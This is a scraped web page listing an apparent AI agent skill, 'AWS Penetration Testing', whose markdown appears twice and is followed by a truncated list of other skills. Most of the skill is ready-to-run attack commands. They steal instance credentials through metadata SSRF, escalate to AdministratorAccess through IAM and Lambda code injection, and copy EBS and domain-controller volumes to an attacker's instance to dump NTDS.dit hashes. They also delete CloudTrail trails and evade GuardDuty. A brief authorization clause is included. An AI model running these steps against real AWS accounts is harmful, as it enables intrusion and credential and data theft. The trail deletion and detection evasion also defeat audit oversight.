[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFRQ3TKXFB6MKV3EGZ6XQ5":3,"skill-same:01M6AFRQ3TKXFB6MKV3EGZ6XQ5":91},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":53,"linkOnly":54,"markdownContent":55,"markdownBody":56,"frontMatter":57,"refName":61,"commitSha":62,"skillDirectory":63,"forksCount":64,"repositoryHtmlUrl":65,"repositoryHomepageUrl":66,"ownerHtmlUrl":67,"ownerBlogUrl":68,"ownerDescription":69,"updatedAt":70,"install":71,"resources":84},"01M6AFRQ3TKXFB6MKV3EGZ6XQ5","AWS Penetration Testing",null,"This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33602,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Faws-penetration-testing\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,5,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52],"penetration","penetration testing","aws","testing","ssrf","when","web services","bucket","privilege escalation","security assessment","pentest","exploit","aws security","lambda","exploitation","escalation","iam","services","cloud","s3","metadata","assessment","infrastructure","web","test","security","2026-11-10 10:12:30",false,"---\nname: AWS Penetration Testing\ndescription: This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs\u002FPrerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs\u002FDeliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2\u002FLambda\u002FS3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https:\u002F\u002Fgithub.com\u002Fandresriancho\u002Fenumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n.\u002Fenumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n\n# Get IAM role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Extract temporary credentials\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n\u002Fproc\u002Fself\u002Fenviron\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=\u002Fv2\u002Fcredentials\u002F...\n\n# Access credentials\nhttp:\u002F\u002F169.254.170.2\u002Fv2\u002Fcredentials\u002FCREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file:\u002F\u002Fadmin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy\u002FAdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb:\u002F\u002Fmalicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n.\u002Fbucket_finder.rb wordlist.txt\n.\u002Fbucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps:\u002F\u002F{bucket-name}.s3.amazonaws.com\nhttps:\u002F\u002Fs3.amazonaws.com\u002F{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3:\u002F\u002Fbucket-name --recursive\n\n# Download all files\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-folder\n```\n\n### Public Bucket Search\n\n```\nhttps:\u002F\u002Fbuckets.grayhatwarfare.com\u002F\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device \u002Fdev\u002Fxvdf\n\n# Mount and access\nsudo mkdir \u002Fmnt\u002Fstolen\nsudo mount \u002Fdev\u002Fxvdf1 \u002Fmnt\u002Fstolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system .\u002FSYSTEM -ntds .\u002Fntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002FNetSPI\u002Faws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali\u002FParrot\u002FPentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps:\u002F\u002Fapp.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps:\u002F\u002Fapp.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FAdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda\u002FAPI Gateway exploitation, Secrets Manager & KMS, Container security (ECS\u002FEKS\u002FECR), RDS\u002FDynamoDB exploitation, VPC lateral movement, and security checklists, see [references\u002Fadvanced-aws-pentesting.md](references\u002Fadvanced-aws-pentesting.md).\n","# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs\u002FPrerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs\u002FDeliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2\u002FLambda\u002FS3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https:\u002F\u002Fgithub.com\u002Fandresriancho\u002Fenumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n.\u002Fenumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n\n# Get IAM role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# Extract temporary credentials\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n\u002Fproc\u002Fself\u002Fenviron\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=\u002Fv2\u002Fcredentials\u002F...\n\n# Access credentials\nhttp:\u002F\u002F169.254.170.2\u002Fv2\u002Fcredentials\u002FCREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy\u002FAdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file:\u002F\u002Fadmin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy\u002FAdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb:\u002F\u002Fmalicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n.\u002Fbucket_finder.rb wordlist.txt\n.\u002Fbucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps:\u002F\u002F{bucket-name}.s3.amazonaws.com\nhttps:\u002F\u002Fs3.amazonaws.com\u002F{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3:\u002F\u002Fbucket-name --recursive\n\n# Download all files\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-folder\n```\n\n### Public Bucket Search\n\n```\nhttps:\u002F\u002Fbuckets.grayhatwarfare.com\u002F\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device \u002Fdev\u002Fxvdf\n\n# Mount and access\nsudo mkdir \u002Fmnt\u002Fstolen\nsudo mount \u002Fdev\u002Fxvdf1 \u002Fmnt\u002Fstolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system .\u002FSYSTEM -ntds .\u002Fntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002FNetSPI\u002Faws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali\u002FParrot\u002FPentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps:\u002F\u002Fapp.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps:\u002F\u002Fapp.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FAdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda\u002FAPI Gateway exploitation, Secrets Manager & KMS, Container security (ECS\u002FEKS\u002FECR), RDS\u002FDynamoDB exploitation, VPC lateral movement, and security checklists, see [references\u002Fadvanced-aws-pentesting.md](references\u002Fadvanced-aws-pentesting.md).\n",{"name":5,"metadata":58,"description":7},{"author":59,"version":60},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Faws-penetration-testing",3963,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-15 01:32:48",{"source":8,"skillName":5,"commands":72,"prompt":82,"zipAvailable":83},[73,76,79],{"tool":74,"command":75},"npx","npx skills add davila7\u002Fclaude-code-templates --skill \"AWS Penetration Testing\"",{"tool":77,"command":78},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill \"AWS Penetration Testing\"",{"tool":80,"command":81},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill \"AWS Penetration Testing\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Faws-penetration-testing\u002FSKILL.md",true,[85],{"path":86,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"references\u002Fadvanced-aws-pentesting.md","REFERENCE","参考文档",12033,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Faws-penetration-testing\u002Freferences\u002Fadvanced-aws-pentesting.md",[92,119,146,179,213,234],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":99,"publishedAt":53},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[98],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[100,101,102,103,104,105,106,107,108,32,109,110,111,112,113,114,115,116,117,118],"scoring","pool","wealthville pool scoring","liquidity","which","for","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":126,"publishedAt":53},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[125],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[127,128,129,130,131,132,133,134,135,136,137,32,138,139,140,141,142,143,144,145],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":161,"publishedAt":53},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[152,155,156],{"categoryNo":153,"categoryName":154,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":157,"categoryName":158,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[162,163,164,165,166,167,168,105,169,170,171,172,173,174,175,108,176,177,32,178],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":184,"sourceHtmlUrl":185,"categories":186,"keywords":190,"publishedAt":53},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, 